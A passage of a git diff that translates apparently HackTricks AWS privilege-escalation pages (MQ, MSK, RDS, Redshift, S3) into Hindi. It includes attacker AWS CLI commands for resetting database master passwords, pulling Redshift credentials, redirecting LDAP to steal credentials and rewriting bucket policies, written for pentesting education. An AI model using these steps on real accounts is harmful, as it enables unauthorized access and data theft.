उपयोगकर्ता बना सकते हैं** (यह RabbitMQ में काम नहीं करता): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**संभावित प्रभाव:** ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुँच ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ): - +इन अनुमतियों के साथ आप **एक नए उपयोगकर्ता को ActimeMQ ब्रोकर में बना सकते हैं** (यह RabbitMQ में काम नहीं करता): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` - -**Potential Impact:** Access sensitive info navigating through ActiveMQ +**संभावित प्रभाव:** ActiveMQ के माध्यम से संवेदनशील जानकारी तक पहुँच ### `mq:ListBrokers`, `mq:UpdateBroker` -If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**. - +यदि एक ब्रोकर **ActiveMQ** के साथ प्राधिकरण के लिए **LDAP** का उपयोग कर रहा है। तो यह संभव है कि **हमलावर द्वारा नियंत्रित** LDAP सर्वर की **कॉन्फ़िगरेशन** को **बदलें**। इस तरह हमलावर **LDAP के माध्यम से भेजे जा रहे सभी क्रेडेंशियल्स को चुरा** सकेगा। ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` +यदि आप किसी तरह ActiveMQ द्वारा उपयोग किए गए मूल क्रेडेंशियल्स को ढूंढ सकते हैं, तो आप एक MitM कर सकते हैं, क्रेड्स चुरा सकते हैं, उन्हें मूल सर्वर में उपयोग कर सकते हैं, और प्रतिक्रिया भेज सकते हैं (शायद बस चुराए गए क्रेडेंशियल्स का पुन: उपयोग करके आप यह कर सकते हैं)। -If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this). - -**Potential Impact:** Steal ActiveMQ credentials +**संभावित प्रभाव:** ActiveMQ क्रेडेंशियल्स चुराना {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index f0538785f..8b9e3a4cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -For more information about MSK (Kafka) check: +MSK (Kafka) के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,17 +12,11 @@ For more information about MSK (Kafka) check: ### `msk:ListClusters`, `msk:UpdateSecurity` -With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them. - +इन **privileges** और **kafka brokers के VPC तक पहुँच** के साथ, आप उनके लिए **None authentication** जोड़ सकते हैं। ```bash aws msk --client-authentication --cluster-arn --current-version ``` - -You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\ -If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it. +आपको VPC तक पहुँच की आवश्यकता है क्योंकि **आप सार्वजनिक रूप से Kafka के साथ None प्रमाणीकरण सक्षम नहीं कर सकते**। यदि यह सार्वजनिक रूप से उजागर है, यदि **SASL/SCRAM** प्रमाणीकरण का उपयोग किया जाता है, तो आप **गुप्त पढ़ सकते हैं** (आपको गुप्त पढ़ने के लिए अतिरिक्त विशेषाधिकारों की आवश्यकता होगी)।\ +यदि **IAM भूमिका-आधारित प्रमाणीकरण** का उपयोग किया जाता है और **Kafka सार्वजनिक रूप से उजागर है**, तो आप अभी भी इन विशेषाधिकारों का दुरुपयोग करके इसे एक्सेस करने के लिए आपको अनुमतियाँ दे सकते हैं। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 7d43bbd3b..d803f175d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,19 +4,15 @@ ## Organizations -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -## From management Account to children accounts +## प्रबंधन खाते से बच्चों के खातों तक -If you compromise the root/management account, chances are you can compromise all the children accounts.\ -To [**learn how check this page**](../#compromising-the-organization). +यदि आप रूट/प्रबंधन खाते से समझौता करते हैं, तो संभावना है कि आप सभी बच्चों के खातों से समझौता कर सकते हैं।\ +[**यहां सीखने के लिए इस पृष्ठ को देखें**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index b4a08093e..d9f545077 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Relational Database Service +## RDS - रिलेशनल डेटाबेस सेवा -For more information about RDS check: +RDS के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,59 +12,54 @@ For more information about RDS check: ### `rds:ModifyDBInstance` -With that permission an attacker can **modify the password of the master user**, and the login inside the database: - +इस अनुमति के साथ एक हमलावर **मास्टर उपयोगकर्ता का पासवर्ड बदल सकता है**, और डेटाबेस के अंदर लॉगिन: ```bash # Get the DB username, db name and address aws rds describe-db-instances # Modify the password and wait a couple of minutes aws rds modify-db-instance \ - --db-instance-identifier \ - --master-user-password 'Llaody2f6.123' \ - --apply-immediately +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately # In case of postgres psql postgresql://:@:5432/ ``` - > [!WARNING] -> You will need to be able to **contact to the database** (they are usually only accessible from inside networks). +> आपको **डेटाबेस से संपर्क करने** में सक्षम होना चाहिए (वे आमतौर पर केवल अंदर के नेटवर्क से सुलभ होते हैं)। -**Potential Impact:** Find sensitive info inside the databases. +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। ### rds-db:connect -According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance. +[**दस्तावेज़ों**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) के अनुसार, इस अनुमति के साथ एक उपयोगकर्ता DB इंस्टेंस से कनेक्ट कर सकता है। -### Abuse RDS Role IAM permissions +### RDS भूमिका IAM अनुमतियों का दुरुपयोग -#### Postgresql (Aurora) +#### पोस्टग्रेएसक्यूएल (ऑरोरा) > [!TIP] -> If running **`SELECT datname FROM pg_database;`** you find a database called **`rdsadmin`** you know you are inside an **AWS postgresql database**. - -First you can check if this database has been used to access any other AWS service. You could check this looking at the installed extensions: +> यदि आप **`SELECT datname FROM pg_database;`** चलाते हैं और आपको **`rdsadmin`** नामक एक डेटाबेस मिलता है, तो आप जानते हैं कि आप एक **AWS पोस्टग्रेएसक्यूएल डेटाबेस** के अंदर हैं। +पहले आप यह जांच सकते हैं कि क्या इस डेटाबेस का उपयोग किसी अन्य AWS सेवा तक पहुँचने के लिए किया गया है। आप स्थापित एक्सटेंशन को देखकर यह जांच सकते हैं: ```sql SELECT * FROM pg_extension; ``` +यदि आप कुछ ऐसा पाते हैं जैसे **`aws_s3`** तो आप मान सकते हैं कि इस डेटाबेस के पास **S3 पर कुछ प्रकार की पहुंच है** (अन्य एक्सटेंशन जैसे **`aws_ml`** और **`aws_lambda`** भी हैं)। -If you find something like **`aws_s3`** you can assume this database has **some kind of access over S3** (there are other extensions such as **`aws_ml`** and **`aws_lambda`**). - -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can see there if the **cluster has any IAM Role attached** in the field **`AssociatedRoles`**. If any, you can assume that the database was **prepared to access other AWS services**. Based on the **name of the role** (or if you can get the **permissions** of the role) you could **guess** what extra access the database has. - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप वहां देख सकते हैं कि **क्लस्टर में कोई IAM भूमिका संलग्न है** या नहीं, क्षेत्र **`AssociatedRoles`** में। यदि कोई है, तो आप मान सकते हैं कि डेटाबेस **अन्य AWS सेवाओं तक पहुंचने के लिए तैयार था**। **भूमिका के नाम** के आधार पर (या यदि आप भूमिका के **अनुमतियों** को प्राप्त कर सकते हैं) आप **अनुमान** लगा सकते हैं कि डेटाबेस के पास क्या अतिरिक्त पहुंच है। +अब, **बकेट के अंदर एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं: ```sql // Create table CREATE TABLE ttemp (col TEXT); // Create s3 uri SELECT aws_commons.create_s3_uri( - 'test1234567890678', // Name of the bucket - 'data.csv', // Name of the file - 'eu-west-1' //region of the bucket +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket ) AS s3_uri \gset // Load file contents in table @@ -76,98 +71,81 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` - -If you had **raw AWS credentials** you could also use them to access S3 data with: - +यदि आपके पास **कच्चे AWS क्रेडेंशियल्स** हैं, तो आप उन्हें S3 डेटा तक पहुँचने के लिए भी उपयोग कर सकते हैं: ```sql SELECT aws_s3.table_import_from_s3( - 't', '', '(format csv)', - :'s3_uri', - aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` - > [!NOTE] -> Postgresql **doesn't need to change any parameter group variable** to be able to access S3. +> Postgresql **को S3 तक पहुँचने के लिए किसी भी पैरामीटर समूह के चर को बदलने की आवश्यकता नहीं है**। #### Mysql (Aurora) > [!TIP] -> Inside a mysql, if you run the query **`SELECT User, Host FROM mysql.user;`** and there is a user called **`rdsadmin`**, you can assume you are inside an **AWS RDS mysql db**. +> एक mysql के अंदर, यदि आप क्वेरी **`SELECT User, Host FROM mysql.user;`** चलाते हैं और वहाँ एक उपयोगकर्ता है जिसका नाम **`rdsadmin`** है, तो आप मान सकते हैं कि आप एक **AWS RDS mysql db** के अंदर हैं। -Inside the mysql run **`show variables;`** and if the variables such as **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, have values, you can assume the database is prepared to access S3 data. +Mysql के अंदर **`show variables;`** चलाएँ और यदि चर जैसे **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** के मान हैं, तो आप मान सकते हैं कि डेटाबेस S3 डेटा तक पहुँचने के लिए तैयार है। -Also, if you have permissions to run **`aws rds describe-db-clusters`** you can check if the cluster has any **associated role**, which usually means access to AWS services). - -Now, to **read a file inside a bucket** you need to know the full path. You can read it with: +इसके अलावा, यदि आपके पास **`aws rds describe-db-clusters`** चलाने की अनुमति है, तो आप देख सकते हैं कि क्लस्टर में कोई **संबंधित भूमिका** है या नहीं, जो आमतौर पर AWS सेवाओं तक पहुँच का मतलब होता है। +अब, एक बकेट के अंदर **एक फ़ाइल पढ़ने के लिए** आपको पूरा पथ जानना होगा। आप इसे पढ़ सकते हैं: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); SELECT * FROM ttemp; DROP TABLE ttemp; ``` - ### `rds:AddRoleToDBCluster`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBCluster` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. - +एक हमलावर जिसके पास `rds:AddRoleToDBCluster` और `iam:PassRole` की अनुमति है, वह **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंचने** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.\ -Note that some DBs require additional configs such as Mysql, which needs to specify the role ARN in the aprameter groups also. +**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन।\ +ध्यान दें कि कुछ DBs को अतिरिक्त कॉन्फ़िगरेशन की आवश्यकता होती है जैसे Mysql, जिसे पैरामीटर समूहों में भूमिका ARN निर्दिष्ट करने की आवश्यकता होती है। ### `rds:CreateDBInstance` -Just with this permission an attacker could create a **new instance inside a cluster** that already exists and has an **IAM role** attached. He won't be able to change the master user password, but he might be able to expose the new database instance to the internet: - +इस अनुमति के साथ एक हमलावर एक **क्लस्टर के अंदर एक नया उदाहरण** बना सकता है जो पहले से मौजूद है और जिसमें एक **IAM भूमिका** संलग्न है। वह मास्टर उपयोगकर्ता पासवर्ड को बदलने में असमर्थ होगा, लेकिन वह नए डेटाबेस उदाहरण को इंटरनेट पर उजागर करने में सक्षम हो सकता है: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ - --db-instance-identifier mydbinstance2 \ - --db-instance-class db.t3.medium \ - --engine aurora-postgresql \ - --db-cluster-identifier database-1 \ - --db-security-groups "string" \ - --publicly-accessible +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible ``` - ### `rds:CreateDBInstance`, `iam:PassRole` > [!NOTE] > TODO: Test -An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. +एक हमलावर जिसके पास `rds:CreateDBInstance` और `iam:PassRole` की अनुमति है, **एक निर्दिष्ट भूमिका के साथ एक नया RDS उदाहरण बना सकता है**। हमलावर फिर संभावित रूप से **संवेदनशील डेटा तक पहुँच** या उदाहरण के भीतर डेटा को संशोधित कर सकता है। > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> भूमिका/उदाहरण-प्रोफ़ाइल को संलग्न करने की कुछ आवश्यकताएँ (से [**यहाँ**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> - प्रोफ़ाइल आपके खाते में मौजूद होनी चाहिए। +> - प्रोफ़ाइल में एक IAM भूमिका होनी चाहिए जिसे Amazon EC2 द्वारा ग्रहण करने की अनुमति हो। +> - उदाहरण प्रोफ़ाइल का नाम और संबंधित IAM भूमिका का नाम `AWSRDSCustom` उपसर्ग से शुरू होना चाहिए। ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन। ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +एक हमलावर जिसके पास `rds:AddRoleToDBInstance` और `iam:PassRole` की अनुमति है, **एक मौजूदा RDS उदाहरण में एक निर्दिष्ट भूमिका जोड़ सकता है**। इससे हमलावर को **संवेदनशील डेटा तक पहुंच** या उदाहरण के भीतर डेटा को संशोधित करने की अनुमति मिल सकती है। > [!WARNING] -> The DB instance must be outside of a cluster for this - +> DB उदाहरण को इसके लिए क्लस्टर के बाहर होना चाहिए ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**संभावित प्रभाव**: RDS उदाहरण में संवेदनशील डेटा तक पहुंच या डेटा में अनधिकृत संशोधन। {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..62aa8798f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +RDS के बारे में अधिक जानकारी के लिए देखें: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** (जिसमें नाम और क्लस्टर उपयोगकर्ता नाम शामिल हैं) प्राप्त कर सकते हैं और **इस तक पहुँचने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +इन अनुमतियों के साथ आप **सभी क्लस्टरों की जानकारी** प्राप्त कर सकते हैं और **इसका उपयोग करने के लिए क्रेडेंशियल्स** प्राप्त कर सकते हैं।\ +ध्यान दें कि postgres उपयोगकर्ता के पास **अनुमतियाँ होंगी जो IAM पहचान** के पास हैं जिसका उपयोग क्रेडेंशियल्स प्राप्त करने के लिए किया गया है। ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +यह संभव है कि आप aws cli से आंतरिक postgres (redshit) उपयोगकर्ता का **मास्टर पासवर्ड संशोधित** कर सकें (मुझे लगता है कि ये वे अनुमतियाँ हैं जिनकी आपको आवश्यकता है लेकिन मैंने अभी तक उनका परीक्षण नहीं किया है): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**संभावित प्रभाव:** डेटाबेस के अंदर संवेदनशील जानकारी खोजें। -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## बाहरी सेवाओं तक पहुँच > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> सभी निम्नलिखित संसाधनों तक पहुँचने के लिए, आपको **उपयोग करने के लिए भूमिका निर्दिष्ट करनी होगी**। एक Redshift क्लस्टर **AWS भूमिकाओं की एक सूची असाइन कर सकता है** जिसका आप उपयोग कर सकते हैं **यदि आप ARN जानते हैं** या आप बस "**डिफ़ॉल्ट**" सेट कर सकते हैं ताकि असाइन की गई डिफ़ॉल्ट भूमिका का उपयोग किया जा सके। -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> इसके अलावा, जैसे कि [**यहाँ समझाया गया है**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift भी भूमिकाओं को जोड़ने की अनुमति देता है (जब तक कि पहली भूमिका दूसरी भूमिका को मान नहीं लेती) ताकि आगे की पहुँच प्राप्त की जा सके, लेकिन बस उन्हें **अल्पविराम** से **अलग** करके: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` -### Lambdas - -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: +### लैम्ब्डास +जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) में समझाया गया है, यह **redshift से एक लैम्ब्डा फ़ंक्शन कॉल करना संभव है** कुछ इस तरह: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) में समझाया गया है, **S3 बकेट में पढ़ना और लिखना संभव है**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +जैसा कि [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) में समझाया गया है, **dynamodb से डेटा प्राप्त करना** संभव है: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> Amazon DynamoDB तालिका जो डेटा प्रदान करती है, उसे आपके क्लस्टर के समान AWS क्षेत्र में बनाया जाना चाहिए, जब तक कि आप [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) विकल्प का उपयोग करके उस AWS क्षेत्र को निर्दिष्ट न करें जिसमें Amazon DynamoDB तालिका स्थित है। ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +चेक करें [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..22a861f54 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,37 +6,35 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +एक हमलावर जिसके पास दिलचस्प बकेट्स पर ये अनुमतियाँ हैं, संसाधनों को हाईजैक करने और विशेषाधिकार बढ़ाने में सक्षम हो सकता है। +उदाहरण के लिए, एक हमलावर जिसके पास **"cf-templates-nohnwfax6a6i-us-east-1"** नामक क्लाउडफॉर्मेशन बकेट पर ये अनुमतियाँ हैं, वह डिप्लॉयमेंट को हाईजैक करने में सक्षम होगा। एक्सेस निम्नलिखित नीति के साथ दिया जा सकता है: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +And the hijack is possible because there is a **छोटी समय खिड़की टेम्पलेट अपलोड होने के क्षण से** बकेट में टेम्पलेट **तैनात होने के क्षण तक**। एक हमलावर बस अपने खाते में एक **लैम्ब्डा फ़ंक्शन** बना सकता है जो **तब सक्रिय होगा जब बकेट अधिसूचना भेजी जाएगी**, और **हाइजैक** कर लेगा **उस बकेट** का **सामग्री**। ![](<../../../images/image (174).png>) @@ -45,78 +43,75 @@ For mor informatino check the original research: [https://rhinosecuritylabs.com/ ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +These are the permissions to **S3 में ऑब्जेक्ट प्राप्त करने और अपलोड करने के लिए**। AWS के अंदर (और इसके बाहर) कई सेवाएँ **कॉन्फ़िग फ़ाइलों** को स्टोर करने के लिए S3 स्टोरेज का उपयोग करती हैं।\ +एक हमलावर जिसके पास **पढ़ने की पहुँच** है, वह उन पर **संवेदनशील जानकारी** पा सकता है।\ +एक हमलावर जिसके पास **लिखने की पहुँच** है, वह **डेटा को संशोधित कर सकता है ताकि किसी सेवा का दुरुपयोग किया जा सके और विशेषाधिकार बढ़ाने की कोशिश की जा सके**।\ +ये कुछ उदाहरण हैं: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- यदि एक EC2 उदाहरण **उपयोगकर्ता डेटा को S3 बकेट में स्टोर कर रहा है**, तो एक हमलावर इसे **EC2 उदाहरण के अंदर मनमाना कोड निष्पादित करने के लिए संशोधित कर सकता है**। ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +एक हमलावर, जिसे **उसी खाते से होना चाहिए**, यदि नहीं तो त्रुटि `The specified method is not allowed will trigger`, इस अनुमति के साथ बकेट(s) पर अधिक अनुमति देने में सक्षम होगा जिससे वह पढ़, लिख, संशोधित, हटाने और बकेट को उजागर कर सकेगा। ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - 